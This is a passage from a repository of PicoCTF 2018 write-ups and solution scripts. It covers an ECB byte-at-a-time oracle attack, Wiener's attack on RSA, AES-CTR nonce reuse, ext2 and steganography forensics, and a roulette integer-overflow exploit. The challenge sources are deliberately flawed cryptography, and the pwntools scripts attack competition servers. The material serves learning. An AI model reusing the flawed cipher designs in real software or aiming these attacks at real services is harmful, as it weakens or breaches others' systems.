p=spawn_process(local) 48 | p.recvuntil("!") 49 | letter = letter 50 | payload = 'A'*(43-(1+len(decrypted_flag)))+'ifying code is: ' + decrypted_flag + letter + 'A'*(64-len(decrypted_flag)) 51 | print("payload = " + payload) 52 | p.sendline(payload) 53 | p.recvuntil(": ") 54 | m2 = p.recvuntil('\n') 55 | p.close() 56 | time.sleep(DELAY) # will have to be longer for server 57 | if(blocks_are_equal(m2, 6, 12)): # will need to update to 58 | print("The correct letter is " + letter + ".") 59 | return True 60 | else: 61 | return False 62 | 63 | 64 | flag = '' 65 | # Run this until I get an end bracket, add known characters to the 66 | # flag string above if the code gets interrupted 67 | done = False 68 | while not(done): 69 | for i in range(32,127,1): 70 | print("checking letter..." + chr(i)) 71 | print("flag = " + flag) 72 | if check_letter(flag, chr(i), local): 73 | print(" Got letter: " + chr(i)) 74 | flag += chr(i) 75 | if chr(i) == '}': 76 | done = True 77 | break 78 | print("flag = " + flag) -------------------------------------------------------------------------------- /PicoCTF2018/crypto/SpyFi/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/SpyFi/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/crypto/SpyFi/spy_terminal_no_flag.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 -u 2 | from Crypto.Cipher import AES 3 | 4 | agent_code = """flag""" 5 | 6 | def pad(message): 7 | if len(message) % 16 != 0: 8 | message = message + '0'*(16 - len(message)%16 ) 9 | return message 10 | 11 | def encrypt(key, plain): 12 | cipher = AES.new( key.decode('hex'), AES.MODE_ECB ) 13 | return cipher.encrypt(plain).encode('hex') 14 | 15 | welcome = "Welcome, Agent 006!" 16 | print welcome 17 | 18 | sitrep = raw_input("Please enter your situation report: ") 19 | message = """Agent, 20 | Greetings. My situation report is as follows: 21 | {0} 22 | My agent identifying code is: {1}. 23 | Down with the Soviets, 24 | 006 25 | """.format( sitrep, agent_code ) 26 | 27 | message = pad(message) 28 | print encrypt( """key""", message ) 29 | -------------------------------------------------------------------------------- /PicoCTF2018/crypto/SuperSafeRSA2/README.md: -------------------------------------------------------------------------------- 1 | # Super Safe RSA 2 2 | 3 | This is a 425-point cryptography problem for Pico CTF 2018. 4 | 5 | ### Problem Description 6 | 7 | Wow, he made the exponent really large so the encryption MUST be safe, right?! Connect with `nc 2018shell.picoctf.com 56543`. 8 | 9 | ### Solution 10 | 11 | This is part of a series involving RSA encryption. The player is presented with three very large numbers for `c`, `n`, and `e`, and must determine `d` in order to compute the message `m`. I considered the fact that perhaps the public and private keys had been switched, such that `d` was small. That would make the problem vulnerable to [Weiner's attack](https://en.wikipedia.org/wiki/Wiener%27s_Attack). The mathematics behind Weiner's attack are also covered in Dan Boneh's Cryptography I course on Coursera. The proof comes down to a demonstration that if `d < 1/3 * N^(1/4)`, then `d` can be computed by finding all the [convergents](https://en.wikipedia.org/wiki/Convergent_(continued_fraction)) of `e/N`, one of which will be `d/k` for some integer `k`. 12 | 13 | I found some code implementing the attack [here](https://github.com/pablocelayes/rsa-wiener-attack/blob/master/RSAwienerHacker.py), then simply imported it and ran the code. Here's a screenshot with the implementation and the flag: 14 | 15 | ![./SuperSafeRSA2Solved.png](./SuperSafeRSA2Solved.png) 16 | 17 | ### Comparison to other approaches 18 | 19 | There are six solutions on CTF Time, and all but one appear to have used Wiener's attack -- the one that did not involved guessing `d`. [Dvd848](https://github.com/Dvd848/CTFs/blob/master/2018_picoCTF/Super%20Safe%20RSA%202.md) uses a multi-purpose tool called [RSACtfTool](https://github.com/Ganapati/RsaCtfTool) to do the cracking, which is fast but does not provide insight into why it works. [d4rkvaibhav](https://github.com/d4rkvaibhav/picoCTF-2018-Writeups/tree/master/Cryptography/Super%20Safe%20RSA%202) uses the same Python implementation of Weiner's attack that I did. [SAS Hackers](https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/cryptography/#super-safe-rsa-2) appear to have guessed `d`. [LiuHack](https://github.com/liuhack/writeups/blob/master/2018/picoCTF/Super_safe_RSA2/README.md) used a [script](https://gist.github.com/mananpal1997/73d07cdc91d58b4eb5c818aaab2d38bd) that goes straight to using continued fractions instead of even calling it Wiener's attack, which suggests that the author really understood the method. 20 | -------------------------------------------------------------------------------- /PicoCTF2018/crypto/SuperSafeRSA2/SuperSafeRSA2Solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/SuperSafeRSA2/SuperSafeRSA2Solved.png -------------------------------------------------------------------------------- /PicoCTF2018/crypto/SuperSafeRSA3/Euler_totient_formula.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/SuperSafeRSA3/Euler_totient_formula.png -------------------------------------------------------------------------------- /PicoCTF2018/crypto/SuperSafeRSA3/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/SuperSafeRSA3/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/crypto/SuperSafeRSA3/n_factored.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/SuperSafeRSA3/n_factored.png -------------------------------------------------------------------------------- /PicoCTF2018/crypto/eleCTRic/README.md: -------------------------------------------------------------------------------- 1 | # eleCTRic 2 | 3 | This is a 400-point cryptography problem from PicoCTF 2018. It's an attack on AES using counter mode. 4 | 5 | ### Problem description 6 | 7 | You came across a custom server that Dr Xernon's company eleCTRic Ltd uses. It seems to be storing some encrypted files. Can you get us the flag? Connect with nc 2018shell2.picoctf.com 42185. [Source](./eleCTRic.py). 8 | 9 | Looking through the source code, I can see that on program initialization, the code in `main` creates a new AES cipher in counter ("CTR") mode, with a 32-bit key and 32-bit random counter. Now each time a block of plain text gets encrypted, it will get XORed with the key plus the counter. 10 | 11 | The interface allows the user to enter the title of a file and some content, which each then get encrypted and stored, with the base-64 encoding of the encrypted filename returned to the user. The user is also allowed to view the name of the file containing the encrypted flag. The trick is to figure out the base64 encryption of the filename. 12 | 13 | ### Solution 14 | 15 | The main point is to realize that the counter is reset to its original value with each new encryption, so the first 32-byte block of plaintext is XORed with the same value every time. (After I finished this write-up and was comparing my solution to other approaches, I preferred [this description](https://srikavin.me/blog/posts/5bc15a23b7c5001b74f57e51-picoctf-2018-electric): the `aes.key` is supposed to be a nonce, but here the same value is used for every encryption.) In other words, let's say that I know the plaintext for a filename, `filename1`. Then the encrypted name of that file is `filename1 ^ [aes.key+aes.CTR]`. Well, if I XOR that encrypted name with the plaintext of the file name, `filename1`, I get back `[aes.key+aes.CTR]`. I also know the desired plaintext value of the name of the file containing the flag, which I'll call `flagfilename`. To get the encrypted name of that file, I just calculate `[aes.key+aes.CTR] ^ flagfilename`. I base64 encode that result, feed it to the program, and get my flag. 16 | 17 | [Here's](./break-eleCTRic.py) the code, and here's the flag: 18 | 19 | ![./got_flag.png](./got_flag.png) 20 | 21 | ### Comparison to other approaches 22 | 23 | There are three write-ups on CTF Time for this problem. They all take more or less the same approach. [One submitter](https://github.com/Dvd848/CTFs/blob/master/2018_picoCTF/eleCTRic.md) perhaps did not recognize that they could determine the value of the key plus the counter, so they passed to the program a filename that was one character different than the name of the flag file, got the encrypted result back that was a byte off, and brute-forced the solution. 24 | 25 | ### Additional resources 26 | 27 | Dan Boneh's Cryptography I course on Coursera goes into more detail about how AES works in CTR mode, and is a good resource for anyone learning about block ciphers. Also my teammate recommended [this](https://cryptopals.com/sets/3/challenges/19) problem for learning more about the vulnerabilities of block ciphers using counter mode. 28 | -------------------------------------------------------------------------------- /PicoCTF2018/crypto/eleCTRic/break-eleCTRic.py: -------------------------------------------------------------------------------- 1 | ### break-eleCTRic.py 2 | 3 | from pwn import * 4 | from time import sleep 5 | import binascii 6 | import base64 7 | 8 | # Hint from teammate: https://cryptopals.com/sets/3/challenges/19 9 | 10 | # Helper functions to convert 64-bit addresses to strings and vice versa 11 | pck = lambda x: struct.pack('Q', x) 12 | unpck = lambda x: struct.unpack('Q', x) 13 | 14 | local = False 15 | if local: 16 | DELAY = 0.1 17 | else: 18 | DELAY = 0.35 19 | 20 | def spawn_process(local=True): 21 | if local: 22 | p=process('python2 ./eleCTRic.py', shell=True) 23 | else: 24 | p = remote('2018shell2.picoctf.com', 42185) 25 | return p 26 | 27 | def encrypt_new_file(filename, contents): 28 | p.send("n\n") 29 | time.sleep(0.5) 30 | p.recvuntil("? ") 31 | p.send(filename+"\n") 32 | time.sleep(0.5) 33 | p.recvuntil("Data? ") 34 | p.send(contents+"\n") 35 | p.recvuntil("\n") 36 | ciphertext = p.recvuntil("\n") 37 | p.recvuntil("choose: ") 38 | return ciphertext[0:len(ciphertext)-1] 39 | 40 | def string_to_hex(string): 41 | return binascii.hexlify(string) 42 | 43 | def xor_two_hex_strings(str1, str2): 44 | minlength = min(len(str1),len(str2)) 45 | result = '' 46 | if minlength % 2 != 0: 47 | log.info("In xor_two_hex_strings: odd length detected. Exiting.") 48 | return('') 49 | for i in range(0,minlength/2): 50 | byte1 = ord(binascii.unhexlify(str1[i*2:i*2+2])) 51 | byte2 = ord(binascii.unhexlify(str2[i*2:i*2+2])) 52 | result += binascii.hexlify(chr(byte1 ^ byte2)) 53 | return result 54 | 55 | def get_encrypted_filename(code): 56 | return string_to_hex(base64.b64decode(code)) 57 | 58 | p = spawn_process(local=local) 59 | 60 | flag_filename = "flag_2cd5bfb715299d64a0e1.txt" 61 | fake_filenam1 = "AAAAAAAABBBBBBBBCCCCCCCCD" 62 | fake_filenam2 = "EEEEEEEEFFFFFFFFGGGGGGGGH" 63 | 64 | cipher1 = encrypt_new_file(filename=fake_filenam1,contents="Anything") 65 | cipher2 = encrypt_new_file(filename=fake_filenam2,contents="Anything") 66 | log.info("cipher1 = " + cipher1) 67 | cipher1_hex = get_encrypted_filename(cipher1) 68 | cipher2_hex = get_encrypted_filename(cipher2) 69 | plain1_hex = string_to_hex(fake_filenam1+".txt") 70 | plain2_hex = string_to_hex(fake_filenam2+".txt") 71 | log.info("cipher1_hex = " + cipher1_hex) 72 | #log.info("cipher2_hex = " + cipher2_hex) 73 | log.info("plain1_hex = " + plain1_hex) 74 | #log.info("plain2_hex = " + plain2_hex) 75 | 76 | key_plus_nonce_1 = xor_two_hex_strings(cipher1_hex, plain1_hex) 77 | key_plus_nonce_2 = xor_two_hex_strings(cipher2_hex, plain2_hex) 78 | #log.info("cipher1_hex xor plain1_hex = " + key_plus_nonce_1) 79 | #log.info("cipher2_hex xor plain2_hex = " + key_plus_nonce_2) 80 | # Yes, they're the same as expected. Great. That means I've recovered the key (plus the CTR). 81 | 82 | 83 | # Let me try to get back the original cipher that I got for the first filename. 84 | filename1 = xor_two_hex_strings(string_to_hex(fake_filenam1+".txt"),key_plus_nonce_1) 85 | #log.info("I think filename1 encoded should be" + base64.b64encode(binascii.unhexlify(filename1))) 86 | #log.info("And its actual value is " + cipher1) 87 | # That's correct. 88 | 89 | # The flag filename keeps changing each time I run the application. So I have to get its 90 | # value programmatically. 91 | time.sleep(0.5) 92 | p.send("i\n") 93 | p.recvuntil("Files:") 94 | got_flag = False 95 | while not got_flag: 96 | time.sleep(0.2) 97 | p.recvuntil("\n ") 98 | flag_filename = p.recvuntil(".txt") 99 | #log.info(" Candidate filename = " + flag_filename) 100 | if flag_filename[0:4] == "flag": 101 | got_flag = True 102 | break 103 | log.info("flag_filename = " + flag_filename) 104 | 105 | 106 | flag_enciphered = xor_two_hex_strings(string_to_hex(flag_filename),key_plus_nonce_1) 107 | log.info("enciphered flag unhexlified and encoded = " + base64.b64encode(binascii.unhexlify(flag_enciphered))) 108 | 109 | encoded_flag = base64.b64encode(binascii.unhexlify(flag_enciphered)) 110 | 111 | # Now submit the encoded flag 112 | p.recvuntil("choose: ") 113 | p.send("e\n") 114 | p.recvuntil("code? ") 115 | p.send(encoded_flag+"\n") 116 | p.interactive() 117 | -------------------------------------------------------------------------------- /PicoCTF2018/crypto/eleCTRic/eleCTRic.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from Crypto import Random 4 | from Crypto.Cipher import AES 5 | import sys 6 | import time 7 | import binascii 8 | 9 | 10 | class AESCipher(object): 11 | def __init__(self): 12 | self.bs = 32 13 | random = Random.new() 14 | self.key = random.read(AES.block_size) 15 | self.ctr = random.read(AES.block_size) 16 | 17 | def encrypt(self, raw): 18 | cipher = AES.new(self.key, AES.MODE_CTR, counter=lambda: self.ctr) 19 | return cipher.encrypt(raw).encode('base64').replace('\n', '') 20 | 21 | def decrypt(self, enc): 22 | try: 23 | enc = enc.decode('base64') 24 | except binascii.Error: 25 | return None 26 | cipher = AES.new(self.key, AES.MODE_CTR, counter=lambda: self.ctr) 27 | return cipher.decrypt(enc) 28 | 29 | class Unbuffered(object): 30 | def __init__(self, stream): 31 | self.stream = stream 32 | def write(self, data): 33 | self.stream.write(data) 34 | self.stream.flush() 35 | def writelines(self, datas): 36 | self.stream.writelines(datas) 37 | self.stream.flush() 38 | def __getattr__(self, attr): 39 | return getattr(self.stream, attr) 40 | 41 | sys.stdout = Unbuffered(sys.stdout) 42 | 43 | def get_flag(): 44 | try: 45 | with open("flag.txt") as f: 46 | return f.read().strip() 47 | except IOError: 48 | return "picoCTF{xxxFAKEFLAGxxx} Something went wrong. Contact organizers." 49 | 50 | def welcome(): 51 | print "Welcome to eleCTRic Ltd's Safe Crypto Storage" 52 | print "---------------------------------------------" 53 | 54 | 55 | def menu(): 56 | print "" 57 | print "Choices:" 58 | print " E[n]crypt and store file" 59 | print " D[e]crypt file" 60 | print " L[i]st files" 61 | print " E[x]it" 62 | while True: 63 | choice = raw_input("Please choose: ") 64 | if choice in list('neix'): 65 | print "" 66 | return choice 67 | 68 | 69 | def do_encrypt(aes, files): 70 | filename = raw_input("Name of file? ") 71 | if any(x in filename for x in '._/\\ '): 72 | print "Disallowed characters" 73 | return 74 | filename += '.txt' 75 | if filename in files: 76 | if raw_input("Clobber previously existing file? [yN] ") != 'y': 77 | return 78 | data = raw_input("Data? ") 79 | files[filename] = aes.encrypt(data) 80 | print "Share code:" 81 | print aes.encrypt(filename) 82 | 83 | 84 | def do_decrypt(aes, files): 85 | enc = raw_input("Share code? ") 86 | filename = aes.decrypt(enc) 87 | if filename is None: 88 | print "Invalid share code" 89 | return 90 | if filename in files: 91 | print "Data: " 92 | print aes.decrypt(files[filename]) 93 | else: 94 | print "Could not find file" 95 | return 96 | 97 | 98 | def do_list_files(files): 99 | print "Files:" 100 | for f in files: 101 | print " " + f 102 | 103 | 104 | def main(): 105 | print "Initializing Problem..." 106 | aes = AESCipher() 107 | flag = get_flag() 108 | flag_file_name = "flag_%s" % Random.new().read(10).encode('hex') 109 | 110 | files = {flag_file_name + ".txt": aes.encrypt(flag)} 111 | 112 | welcome() 113 | while True: 114 | choice = menu() 115 | if choice == 'n': # Encrypt 116 | do_encrypt(aes, files) 117 | elif choice == 'e': # Decrypt 118 | do_decrypt(aes, files) 119 | elif choice == 'i': # List files 120 | do_list_files(files) 121 | elif choice == 'x': # Exit 122 | break 123 | else: 124 | print "Impossible! Contact contest admins." 125 | sys.exit(1) 126 | 127 | 128 | main() 129 | -------------------------------------------------------------------------------- /PicoCTF2018/crypto/eleCTRic/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/eleCTRic/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/forensics/ExtSuperMagic/README.md: -------------------------------------------------------------------------------- 1 | # Ext Super Magic 2 | 3 | This is a simple data-recovery problem from PicoCTF 2018, worth 250 points. 4 | 5 | ### Problem Description 6 | 7 | We salvaged a ruined Ext SuperMagic II-class mech recently and pulled the [filesystem](./ext-super-magic.img) out of the black box. It looks a bit corrupted, but maybe there's something interesting in there. 8 | 9 | (The hints also refer the user to [this](http://www.nongnu.org/ext2-doc/ext2.html) file format specification for the EXT2 file system.) 10 | 11 | ### Solution 12 | 13 | Running `file` on the `.img` file indicates that it is simply a data file, suggesting that the file has been corrupted somehow. I tried running `foremost` on the image file to retrieve its contents, but the tool was not able to extract complete files. Next, I skimmed through the specification for `ext2` files, and considered that the superblock was probably corrupt. I might be able to restore the corrupted superblock from one of the backup superblocks in the file, but first I used the `mke2fs` command to coerce the `ext2` file into a valid `ext2` file system while potentially overwriting useful data as follows: 14 | 15 | ![./mke2fs_screenshot.png](./mke2fs_screenshot.png) 16 | 17 | I then ran `e2fsck` on the restored file system: 18 | 19 | ![./e2fsck_screenshot.png](./e2fsck_screenshot.png) 20 | 21 | Next, I opened up the corrupted (i.e. original) `ext2` file with a hex editor and compared its superblock (located at offset `0x400`) to its fixed counterpart for which I'd likely destroyed its data: 22 | 23 | ![./hex_editor.png](./hex_editor.png) 24 | 25 | Notice that the magic number, at offset `0x0438` according to the [spec](http://www.nongnu.org/ext2-doc/ext2.html), is supposed to be `0xEF53`. Changing the magic number in the corrupted file to its proper value produced a legitimate `ext2` file. Now, running `file` on the original file (with the correct magic number) produces the following output: 26 | 27 | ``` 28 | Linux rev 1.0 ext2 filesystem data, UUID=a3708ef2-5ec0-4463-9a03-599c890645cd (large files) 29 | ``` 30 | 31 | Also, in producing this write-up I realized that I could have directly run `e2fsck` on the corrupted file before running the `mke2fs` command. That would also have clued me in regarding the invalid magic number by producing the following output: 32 | 33 | ``` 34 | e2fsck 1.44.1 (24-Mar-2018) 35 | ext2fs_open2: Bad magic number in super-block 36 | fsck.ext2: Superblock invalid, trying backup blocks... 37 | fsck.ext2: Bad magic number in super-block while trying to open ext-super-magic_orig.img 38 | 39 | The superblock could not be read or does not describe a valid ext2/ext3/ext4 40 | filesystem. If the device is valid and it really contains an ext2/ext3/ext4 41 | filesystem (and not swap or ufs or something else), then the superblock 42 | is corrupt, and you might try running e2fsck with an alternate superblock: 43 | e2fsck -b 8193 44 | or 45 | e2fsck -b 32768 46 | ``` 47 | 48 | Next, I used the `testdisk` utility to extract the contents of the filesystem: 49 | 50 | ![./testdisk_screenshot.png](./testdisk_screenshot.png) 51 | 52 | That contains a file called `flag.png`: 53 | 54 | ![./flag_pic.png](./flag_pic.png) 55 | 56 | which contains the flag: 57 | 58 | ![./flag.png](./flag.png) 59 | 60 | ### Comparison to Other Approaches 61 | 62 | [Dvd848](https://github.com/Dvd848/CTFs/blob/master/2018_picoCTF/Ext%20Super%20Magic.md) patches the file with `dd`. [tcode2k16](https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/forensics/#ext-super-magic) uses a Python script to do the patching. [shiltemann](https://github.com/shiltemann/CTF-writeups-public/tree/master/PicoCTF_2018#forensics-250-ext-super-magic) uses the `debugfs` utility to determine that the magic number was corrupted, then mounts the file system instead of using `testdisk` to extract the files. This was a great example of a problem with multiple solutions, and I learned a bit from the write-ups. 63 | -------------------------------------------------------------------------------- /PicoCTF2018/forensics/ExtSuperMagic/e2fsck_screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/forensics/ExtSuperMagic/e2fsck_screenshot.png -------------------------------------------------------------------------------- /PicoCTF2018/forensics/ExtSuperMagic/ext-super-magic.img: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/forensics/ExtSuperMagic/ext-super-magic.img -------------------------------------------------------------------------------- /PicoCTF2018/forensics/ExtSuperMagic/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/forensics/ExtSuperMagic/flag.png -------------------------------------------------------------------------------- /PicoCTF2018/forensics/ExtSuperMagic/flag_pic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/forensics/ExtSuperMagic/flag_pic.png -------------------------------------------------------------------------------- /PicoCTF2018/forensics/ExtSuperMagic/hex_editor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/forensics/ExtSuperMagic/hex_editor.png -------------------------------------------------------------------------------- /PicoCTF2018/forensics/ExtSuperMagic/mke2fs_screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/forensics/ExtSuperMagic/mke2fs_screenshot.png -------------------------------------------------------------------------------- /PicoCTF2018/forensics/ExtSuperMagic/testdisk_screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/forensics/ExtSuperMagic/testdisk_screenshot.png -------------------------------------------------------------------------------- /PicoCTF2018/forensics/LoadSomeBits/README.md: -------------------------------------------------------------------------------- 1 | # LoadSomeBits 2 | 3 | This is a 550-point PicoCTF 2018 forensics problem. It looks like steganography. 4 | 5 | ### Problem Description 6 | 7 | Can you find the flag encoded inside this [image](./pico2018-special-logo.bmp)? You can also find the file in /problems/loadsomebits_4_7be73021cd0c9c84b08937323b0d6ae1 on the shell server. 8 | 9 | There's a hint, which for a steg problem makes sense to look at: 10 | 11 | Look through the Least Significant Bits for the image 12 | 13 | If you interpret a binary sequence (seq) as ascii and then try interpreting the same binary sequence from an offset of 1 (seq[1:]) as ascii do you get something similar or completely different? 14 | 15 | Whoops, I think that was too good of a hint. 16 | 17 | I want to parse this with Python. 18 | 19 | Well, first of all, I got various versions of "end of file" exceptions when attempting to read this file with three different tools. So, I opened up the file in a hex editor, and noticed some odd `0x01` bytes at the front of the file that looked like they could be binary. Sure enough: 20 | 21 | ![./binary_bytes.png](./binary_bytes.png) 22 | 23 | Okay, so I just need to read the raw bytes out of the file and convert them to ASCII to get the flag. Easy enough. 24 | 25 | Here's my code to solve the challenge: 26 | 27 | ```Python 28 | # solve-load-some-bits.py 29 | # by Sudoite 30 | 31 | def bytes_to_char(byte_array): 32 | bin_string = "" 33 | for byte in byte_array: 34 | bin_string += str(byte) 35 | return chr(int(bin_string,2)) 36 | 37 | with open("./pico2018-special-logo.bmp", "rb") as f: 38 | f.read(0x36) 39 | flag = "" 40 | for i in range(60): 41 | byte_array = f.read(8) 42 | flag += bytes_to_char(byte_array) 43 | print("The flag is " + flag) 44 | ``` 45 | 46 | And the flag: 47 | `The flag is picoCTF{st0r3d_iN_tH3_l345t_s1gn1f1c4nT_b1t5_2903593693}` 48 | 49 | ### Comparison to Other approaches 50 | 51 | There were only two write-ups on CTF Time, and they were essentially the same. [Dvd848](https://github.com/Dvd848/CTFs/blob/master/2018_picoCTF/LoadSomeBits.md) used a nice memory-mapping function to read the raw bytes from the file that I haven't seen before. That looks pretty useful for later forensics problems. Here's his code: 52 | 53 | ```python 54 | def memory_map(filename, access=mmap.ACCESS_READ): 55 | size = os.path.getsize(filename) 56 | fd = os.open(filename, os.O_RDWR) 57 | return mmap.mmap(fd, size, access=access) 58 | ``` 59 | 60 | Oddly, I was the only person to look at the bytes in a hex editor. Maybe I win this round? 61 | -------------------------------------------------------------------------------- /PicoCTF2018/forensics/LoadSomeBits/binary_bytes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/forensics/LoadSomeBits/binary_bytes.png -------------------------------------------------------------------------------- /PicoCTF2018/forensics/LoadSomeBits/pico2018-special-logo.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/forensics/LoadSomeBits/pico2018-special-logo.bmp -------------------------------------------------------------------------------- /PicoCTF2018/forensics/core/README.md: -------------------------------------------------------------------------------- 1 | # Core 2 | 3 | This is a 350-point, Level 2 PicoCTF 2018 forensics problem. It was pretty easy, but I thought I'd document how to analyze a core file. 4 | 5 | ### Problem Description 6 | 7 | This program was about to print the flag when it died. Maybe the flag is still in this core file that it dumped? Also available at /problems/core_1_722685357ac5a814524ee76a3dcd1521 on the shell server. 8 | 9 | ### Solution 10 | 11 | To analyze the core dump with `gdb`, the command is just `gdb print-flag core`. Here's where the program crashed: 12 | 13 | ![./crash_location.png](./crash_location.png) 14 | 15 | `printf` is going to be called with two arguments. This is a 32-bit binary so the arguments are pushed on the stack in reverse order prior to calling `printf`. The first argument is the string at `0x804894c: "your flag is: picoCTF{%s}\n"`. The second is the format string, which is referenced by the pointer located at `[0x539*4 + 0x804a080]`. In my case that string is "e52f4714963eb207ae54fd424ce3c7d4" so the flag is `picoCTF{e52f4714963eb207ae54fd424ce3c7d4}`. Short and sweet. 16 | 17 | ### Comparison to other write-ups 18 | 19 | There's only one write-up for this problem on CTF Time, and it's exactly the same. There isn't really any room for creativity with this problem, the whole point is just to teach a specific forensics skill. 20 | -------------------------------------------------------------------------------- /PicoCTF2018/forensics/core/crash_location.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/forensics/core/crash_location.png -------------------------------------------------------------------------------- /PicoCTF2018/misc/roulette/local_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/misc/roulette/local_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/misc/roulette/negative_1000000001.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/misc/roulette/negative_1000000001.png -------------------------------------------------------------------------------- /PicoCTF2018/misc/roulette/remote_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/misc/roulette/remote_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/misc/roulette/roulette: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/misc/roulette/roulette -------------------------------------------------------------------------------- /PicoCTF2018/misc/roulette/roulette_fast_x86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/misc/roulette/roulette_fast_x86 -------------------------------------------------------------------------------- /PicoCTF2018/misc/roulette/solve-roulette.py: -------------------------------------------------------------------------------- 1 | 2 | ## Exploit Roulette 3 | ## by Sudoite 4 | 5 | from pwn import * 6 | from pprint import pprint 7 | 8 | ## Technically, this code should work to get the flag remotely, but it's 9 | ## faster just to get the necessary random numbers locally and then use them 10 | ## manually as input for the server. 11 | 12 | local = True 13 | 14 | def spawn_process(local=True): 15 | if local: 16 | p=process('./roulette_fast_x86') 17 | else: 18 | p = remote('2018shell2.picoctf.com', 26662) 19 | 20 | return p 21 | 22 | def get_starting_money(p): 23 | p.recvuntil("$") 24 | starting_money = int(p.recvuntil(" ")) 25 | log.info("starting money is " + str(starting_money)) 26 | return(starting_money) 27 | 28 | def spin(wager, p): 29 | p.send(str(wager) + "\n") 30 | p.recvuntil("Spinning") 31 | p.recvline() 32 | p.recvline() 33 | spinresult = p.recvuntil("\n") 34 | # int() doesn't work cleanly on input that starts with "\x08" 35 | if spinresult[len(spinresult)-3] == "\x08": 36 | result = int(spinresult[len(spinresult)-2:len(spinresult)]) 37 | else: 38 | result = int(spinresult[len(spinresult)-3:len(spinresult)]) 39 | print("spin result = " + spinresult) 40 | print("winning number = " + str(result)) 41 | return(result) 42 | 43 | lose_messages = {"WRONG\n","Nice try..\n","YOU LOSE\n","Not this time..\n","Better luck next time...\n"} 44 | 45 | # one in 36 times the last round bet will succeed, but I don't care, this will usually work. 46 | def play_last_round(p, starting_money, money, round_number): 47 | p.recvuntil("> ") 48 | #if local: 49 | # p.send("18446744072709551615\n") # -1000000001 as an unsigned long (for a 64-bit not 32-bit application) 50 | #else: 51 | p.send("3294967295\n") # for 32-bit application 52 | p.recvuntil("> ") 53 | guess = 20 54 | result = spin(guess, p) 55 | p.interactive() 56 | return money, round_number 57 | 58 | def play_round(p, starting_money, money, round_number): 59 | p.recvuntil("> ") 60 | p.send(str(money)+"\n") 61 | p.recvuntil("> ") 62 | if starting_money in seed_dictionary and len(seed_dictionary[starting_money]) > round_number: 63 | log.info("Guessing a pre-existing value: " + str(seed_dictionary[starting_money][round_number])) 64 | log.info("Starting money = " + str(starting_money)) 65 | log.info("round_number = " + str(round_number)) 66 | guess = seed_dictionary[starting_money][round_number] 67 | else: 68 | guess = 20 69 | result = spin(guess, p) 70 | log.info("result = " + str(result)) 71 | if len(seed_dictionary[starting_money]) < round_number: 72 | log.info("ERROR: length of seed_dictionary["+str(starting_money) + "] < " + str(round_number)) 73 | exit(0) 74 | elif len(seed_dictionary[starting_money]) == round_number: 75 | seed_dictionary[starting_money].append(result) 76 | p.recvline() 77 | result_message = p.recvline() 78 | print("result_message = " + result_message) 79 | if result_message in lose_messages: 80 | 